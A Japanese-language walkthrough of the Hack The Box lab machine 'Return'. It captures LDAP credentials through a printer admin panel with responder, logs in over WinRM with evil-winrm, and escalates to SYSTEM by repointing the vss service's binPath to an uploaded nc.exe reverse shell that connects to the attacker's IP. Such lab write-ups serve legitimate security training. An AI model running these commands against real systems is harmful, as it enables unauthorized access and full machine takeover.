Hack The BoxのRetrunのWriteup記事となります。
難易度3.0のWindowsマシンを攻略する過程を読んでみてください。
前回の攻略
今回のマシン情報
OS Windows
難易度 Easy 3.0
リリース日 2021/9/27
「Return」というマシンは、ネットワークプリンターの管理パネルを通じてLDAP認証情報を取得し、その情報を用いてWinRMサービス経由でサーバーにアクセスする手法が特徴です。
Return」という名前は、攻撃者が悪意のあるLDAPサーバーを設定し、プリンター管理パネルにそのサーバーを指すように設定させることで、認証情報が攻撃者のサーバーに「戻ってくる(return)」ことに由来していると考えられます。
ポート探索
Nmap ⇒ HTTP、LDAP、WinRM
nmapの結果色々とopenしています。
HTTPの他に特徴的なのはWindows Active Directory(389、636)、認証にKerberos(88)を利用しており、5985はHTTPとなっていますが、WinRMのことだと思います。
$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.108 -oN nmap_result.txt -Pn
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-25 10:20:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
ポート80探索
ブラウザからポート80を開くとプリンターの管理者画面(?)が表示されました。
FaxとTroubleshootingのリンクはありませんがSettingは開けるようです。

Setting画面 ⇒ 認証情報取得?
Setting画面を開くと認証情報が書いてありパスワードは塗りつぶされていますが変更ができるようです。

しかし、変更しても反映されません。
HTTPRequestを見るとどうやら変更できるのはServerAddressのみのようです。

画面のソースを見てもnameがついているのはServerAddress部分のみでした。

考察 ⇒ ldap(ポート389)のアクセスを自分に向ける
ここまででわかっていることを整理したいと思います。
- nmapの結果よりReturnというマシンはActiveDirectoryのドメインコントローラーの可能性が高い
- setting.phpではポート389(ldap)の接続情報が書いていることから
printer.return.localへsvc-printerというユーザで接続している可能性が高い - つまりRetrun = printer.return.local = ドメインコントローラーと推測
- ReturnはAD配下のプリンターであり、管理画面で接続先を管理しており、ドメインコントローラーである自分自身に接続していると推測
- また、接続先のServerAddressはsetting.phpから変更可能
現状、認証情報はユーザ名らしき「svc-printer」は取得できたもののパスワードは不明。
LDAPにはBindRequestという認証用の通信が定義されているので、ServerAddressをこちらのPCに向けてLDAPの通信内容を監視したいと思います。
ポート389探索
LDAPの接続先をこちらに変更して監視したいと思いますが、LDAPで接続されたときに応答を返えすようにresponderというツールを使いたいと思います。
responderは色々なプロトコルに対応していて、概要や使い方を別の記事にまとめていますので良かったら読んでください。
responder ⇒ 認証情報受信
└─$ sudo responder -I tun0
[LDAP] Cleartext Client : 10.10.11.108
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!
ユーザは先程の管理画面で表示されていたsvc-printerでパスワードも取得できました。
今回の通信を例にLDAPの通信内容について別記事にまとめましたのでよかったらご覧ください。
認証情報の確認 ⇒ SMB、WinRM
取得した認証情報でSamba接続を確認。
⇒接続可能、C$へ読み書きが可能
これでリバースシェルを仕込んで実行できそうです。
$ crackmapexec smb 10.10.11.108 --shares -u svc-printer -p '1edFg43012!!'
SMB 10.10.11.108 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB 10.10.11.108 445 PRINTER [+] return.local\svc-printer:1edFg43012!!
SMB 10.10.11.108 445 PRINTER [+] Enumerated shares
SMB 10.10.11.108 445 PRINTER Share Permissions Remark
SMB 10.10.11.108 445 PRINTER ----- ----------- ------
SMB 10.10.11.108 445 PRINTER ADMIN$ READ Remote Admin
SMB 10.10.11.108 445 PRINTER C$ READ,WRITE Default share
SMB 10.10.11.108 445 PRINTER IPC$ READ Remote IPC
SMB 10.10.11.108 445 PRINTER NETLOGON READ Logon server share
SMB 10.10.11.108 445 PRINTER SYSVOL READ Logon server share
また、WinRMの認証としても利用できました。
$ crackmapexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'
SMB 10.10.11.108 5985 PRINTER [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
HTTP 10.10.11.108 5985 PRINTER [*] http://10.10.11.108:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.108 5985 PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
Exploit
evil-winrm
─$ evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
user.txt
*Evil-WinRM* PS C:\Users\svc-printer\Documents> cd ..
*Evil-WinRM* PS C:\Users\svc-printer> cd Desktop
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir
Directory: C:\Users\svc-printer\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/2/2025 6:41 AM 34 user.txt
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
Privilege Escalation
net user ⇒ Server Operatorsに所属
net userで所属グループを見ると「Server Operators」に所属しています。
Server Operatorsはサービスの開始、終了、実行EXEの差し替えができます。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 12:15:13 AM
Password expires Never
Password changeable 5/27/2021 12:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/2/2025 6:50:50 AM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
spoolerのアクセス権限確認 ⇒ 権限なし
spoolerを開始・停止する権限があるのか?
「”Authenticated Users”(認証されたユーザー)」「”Built-in Administrators”(組み込み管理者グループ)」「”System”(システム)」が開始・停止(CC)をできるようです。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe sdshow spooler
D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
試しに停止しようとするとアクセス拒否となります。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe stop spooler
[SC] OpenService FAILED 5:
Access is denied.
vssのアクセス権限確認 ⇒ 権限あり
vssを開始・停止する権限があるのか?
「Server Operators グループ」に権限が付与されています。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe sdshow vss
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)
C (Create): オブジェクトを作成する権限
C (Control): 完全制御権限(オブジェクトに対してすべての操作を行うことができる)
D (Delete): オブジェクトを削除する権限
L (List): オブジェクトをリスト表示する権限
C (Change): 変更権限(オブジェクトの内容を変更する権限)
S (Service Status): サービスの状態を取得する権限(これは、サービスが動作しているか、停止しているかを確認するための権限)
W (Write): 書き込み権限。オブジェクトにデータを書き込む権限。
R (Read): 読み取り権限。オブジェクトのデータを読み取る権限。
PW (Permission Write): 権限を書き換える権限。オブジェクトのセキュリティ設定を変更するための権限。
PD (Permission Delete): 権限の削除権限。オブジェクトに関連するセキュリティ設定(アクセス制御リストやアクセス権など)を削除するための権限です。
T (Take Ownership): オブジェクトの所有権を取得する権限。これにより、他のユーザーが所有しているオブジェクトの所有権を自分に変更できます。
LO: ログオン権限
S(Start): サービスの開始
D(Delete): サービスの削除
CR: リモートでの接続権限
RC: リモートでサービスの状態を確認する権限
試しにvssを起動してみます。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe start vss
SERVICE_NAME: vss
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 2612
FLAGS :
リバースシェル用のツールをアップロードしてvssの起動時に実行するようにする
リバースシェル用にnc.exeをアップロードします。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> upload /home/kali/tool/netcat-1.11/nc.exe
Info: Uploading /home/kali/tool/netcat-1.11/nc.exe to C:\Users\svc-printer\Desktop\nc.exe
Data: 48704 bytes of 48704 bytes copied
nc.exeは下記で手に入ります。
次にvssの起動時にnc.exeを起動してリバースシェルが動作するようにします。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe config vss binPath="c:\users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.16.2 4444"
[SC] ChangeServiceConfig SUCCESS
vssを再起動
まず、自分のマシンでポート4444を待ち受けます。
$ nc -lnvp 4444
listening on [any] 4444 ...
そしてReturn上でvssを再起動します。
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe stop vss
SERVICE_NAME: vss
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> sc.exe start vss
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
先程待ち受けていたポートにアクセスが来ました。
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.108] 62407
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
root.txt
C:\Windows\system32>cd c:\Users\Administrator
cd c:\Users\Administrator
c:\Users\Administrator>cd Desktop
cd Desktop
c:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3A0C-428E
Directory of c:\Users\Administrator\Desktop
09/27/2021 03:22 AM <DIR> .
09/27/2021 03:22 AM <DIR> ..
03/02/2025 06:41 AM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 8,808,312,832 bytes free
c:\Users\Administrator\Desktop>type root.txt
type root.txt
Windowsの特権昇格を初めてやったマシンでした。
次回のマシン情報
他の難易度3のマシンの攻略記事もまとめてますので良かったらご覧ください。